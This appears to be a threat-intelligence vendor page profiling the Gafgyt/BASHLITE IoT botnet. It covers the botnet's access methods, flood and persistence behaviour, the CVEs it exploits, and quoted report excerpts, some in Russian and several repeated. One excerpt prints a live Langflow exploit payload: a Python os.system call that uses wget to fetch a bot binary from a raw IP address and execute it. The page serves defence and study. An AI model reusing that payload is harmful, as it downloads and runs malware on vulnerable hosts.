Loading malware…
Gafgyt, also widely known as BASHLITE, is a long-running Linux and IoT botnet malware family primarily used to conscript internet-exposed devices into distributed denial-of-service operations. It has historically targeted routers, cameras, DVRs, embedded Linux systems, and other poorly secured network-connected appliances, and has appeared under multiple related names in reporting, including Bashlite. The family has remained active through numerous forks and customized variants, including campaigns that target both consumer IoT and older enterprise-facing infrastructure.
Gafgyt commonly gains initial access by exploiting known vulnerabilities in exposed devices and services, and by abusing weak or default credentials on remote administration interfaces such as Telnet and SSH. Reported variants have targeted a wide range of flaws in routers, DVRs, DD-WRT firmware, SonicWall Global Management System, TP-Link Archer routers, Langflow deployments, and other internet-facing systems. Some variants use separate scanning or propagation components to identify vulnerable hosts, brute-force credentials, exploit HTTP-exposed services, or abuse exposed Android Debug Bridge interfaces, then deliver architecture-specific Linux payloads.
Once installed, Gafgyt variants typically connect to command-and-control infrastructure and await instructions to launch denial-of-service attacks. Observed capabilities include multiple flood techniques across UDP, TCP, SYN, ICMP, amplification, and HTTP-layer methods. Certain variants also implement persistence through hidden copies, cron jobs, shell profile modification, and self-relaunch behavior, while some aggressively kill competing malware and remove rival persistence artifacts to monopolize infected hosts. Defense-evasion measures such as encrypted or obfuscated command-and-control traffic have also been documented in newer customized builds.
The malware family is strongly associated with botnet activity across Linux-based embedded and IoT environments and has repeatedly been linked to large-scale DDoS campaigns. It has also served as a codebase for derivative botnets and variants used by multiple threat actors, including operations tied to broader IoT botnet ecosystems. Over time, Gafgyt-derived activity has reflected a shift from opportunistic compromise of consumer devices toward exploitation of unpatched enterprise and development infrastructure when such systems expose remotely reachable flaws.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
17 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
An issue was discovered in router/upnp/src/ssdp.c in DD-WRT before 45724. An unsafe strcpy in the UPnP handling functionality allows an unauthenticated remote attacker to send a request that would overflow an internal fixed buffer. Exploitation requires the DD-WRT user to enable UPnP (which is off by default, and only listens on internal interfaces by default). This occurs in ssdp_msearch (reachable by an M-SEARCH request).
Attackers are actively exploiting CVE-2025-3248 (an RCE vulnerability in Langflow) to drop a highly customized variant of the veteran Gafgyt/BASHLITE DDoS bot.
Indicators of Compromise (IoCs):- Type Indicator Description CVE CVE-2016-15047 Avtech DVR Camera authentication bypass and command execution exploit
Indicators of Compromise (IoCs):- Type Indicator Description CVE CVE-2025-34054 Avtech DVR Camera authentication bypass and command execution exploit
C0XMO’s success depends on known, unpatched vulnerabilities that have had available fixes for some time. CVE-2021-27137 in DD-WRT, CVE-2015-2051 in D-Link devices, CVE-2022-35914 in GLPI project software, and multiple Avtech DVR camera flaws are all part of its exploit toolkit.
C0XMO’s success depends on known, unpatched vulnerabilities that have had available fixes for some time. CVE-2021-27137 in DD-WRT, CVE-2015-2051 in D-Link devices, CVE-2022-35914 in GLPI project software, and multiple Avtech DVR camera flaws are all part of its exploit toolkit.
Tracked as CVE-2023-1389, the flaw is a high-severity unauthenticated command injection problem in the locale API reachable through the TP-Link Archer AX21 web management interface. | Recently, we observed multiple attacks focusing on this year-old vulnerability, spotlighting botnets like Moobot, Miori, the Golang-based agent "AGoent," and the Gafgyt Variant.
The new Gafgyt version targets a newly disclosed vulnerability affecting older, unsupported versions of SonicWall’s Global Management System (GMS). | Some of the commands supported are described in the table below... HUAWEI: Send CVE-2017-17215.
At that time we found that IP hosting samples of Gafgyt containing an exploit for a recently disclosed SonicWall vulnerability (CVE-2018-9866) affecting older, unsupported versions of SonicWall Global Management System (GMS) (8.1 and older). | The new Gafgyt version targets a newly disclosed vulnerability affecting older, unsupported versions of SonicWall’s Global Management System (GMS).
CVE-2022-22954, a remote code execution (RCE) vulnerability due to server-side template injection in VMware Workspace ONE Access and Identity Manager, is trivial to exploit with a single HTTP request to a vulnerable device.
Botnet attacks aimed at PHP servers involved the exploitation of PHPUnit, Laravel, and ThinkPHP Framework remote code execution flaws, tracked as CVE-2017-9841, CVE-2021-3129, and CVE-2022-47945, respectively.
Widely known Internet of Things device vulnerabilities including the Spring Cloud Gateway RCE, tracked as CVE-2022-22947, the TBK DVR-4104 and DVR-4216 command injection bug, tracked as CVE-2024-3721, and an MVPower DVR misconfiguration were also abused in botnet attacks.
Widely known Internet of Things device vulnerabilities including the Spring Cloud Gateway RCE, tracked as CVE-2022-22947, the TBK DVR-4104 and DVR-4216 command injection bug, tracked as CVE-2024-3721, and an MVPower DVR misconfiguration were also abused in botnet attacks.
Botnet attacks aimed at PHP servers involved the exploitation of PHPUnit, Laravel, and ThinkPHP Framework remote code execution flaws, tracked as CVE-2017-9841, CVE-2021-3129, and CVE-2022-47945, respectively.
Botnet attacks aimed at PHP servers involved the exploitation of PHPUnit, Laravel, and ThinkPHP Framework remote code execution flaws, tracked as CVE-2017-9841, CVE-2021-3129, and CVE-2022-47945, respectively.
“...most of the malware samples are from well-known malware families like Mirai, Gafgyt and Mozi.”
CVE-2025-55182 is a CVSS 10.0 pre-authentication remote code execution vulnerability with a public Metasploit module. Exploitation requires only a single HTTP POST request... affects React Server Components... The flaw exists in how serialized data is processed, allowing an attacker to send a malicious POST request that the server deserializes and executes without authentication or user interaction.
21 distinct techniques documented for this family, organized by ATT&CK tactic.
the threat actors achieve initial access by targeting older software vulnerabilities... the campaign frequently exploits an established stack buffer overflow flaw found in common router firmware. This specific vulnerability is tracked globally as CVE-2021-27137
Для закрепления в системе малварь копирует себя в скрытые каталоги (например, /tmp/.sys, /var/tmp/.sys и /dev/shm/.sys), после чего создает cron-задачи, которые перезапускают процесс каждые 15 минут.
{ "code" : "import os; os.system( \" wget -q -O /tmp/bot_x86_64 http://184.174.96.191:8088/bot.x86_64 && chmod +x /tmp/bot_x86_64 && /tmp/bot_x86_64 \" )" }
В случае успешной компрометации устройства C0XMO загружает Python-скрипт, который устанавливает дополнительные библиотеки, необходимые для сканирования сети и работы через SSH и Telnet.
Attackers are actively exploiting a remote code execution (RCE) vulnerability within the code validation API endpoint of Langflow... Recent threat intelligence reveals... attackers are actively exploiting CVE-2025-3248 (an RCE vulnerability in Langflow) to drop a highly customized variant of the veteran Gafgyt/BASHLITE DDoS bot.
Once it gains access to a device, the malware copies itself to hidden locations such as ‘/tmp/.sys,’ ‘/var/tmp/.sys,’ and ‘/dev/shm/.sys,’
После этого малварь начинает поиск новых жертв, перебирая адреса в интернете и проверяя популярные порты (включая 22, 23, 80, 443, 7547, 8080, 8443 и 8888).
After finding a target, the malware attempts to brute-force weak Telnet and SSH credentials... The script contains almost two dozen functions for various tasks for scanning, exploiting HTTP and ADB-based vulnerabilities, detecting the CPU architecture, SSH/telenet login, and checking IP addresses.
This specific payload is stripped of secondary features like cryptominers to focus purely on network flooding, and it hides its command and control (C2) communications using a complex, modified RC4 stream cipher designed to bypass standard automated decoding tools.
Furthermore, C0XMO actively scans running processes to identify competitor botnet clients on the host, as well as red-team tools, programming tools, and network services that may interfere with its operation, and terminates them.
120 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
46 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Mentioned only as part of broader ecosystem/background lineage tied to shared infrastructure.
Gafgyt3
An IoT botnet family referenced as source-code lineage for TerraBot and as part of Mirai/Gafgyt-style scanning and exploitation campaigns against vulnerable edge devices.
A notorious family of distributed denial-of-service botnet malware from which the COXMO variant stems.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.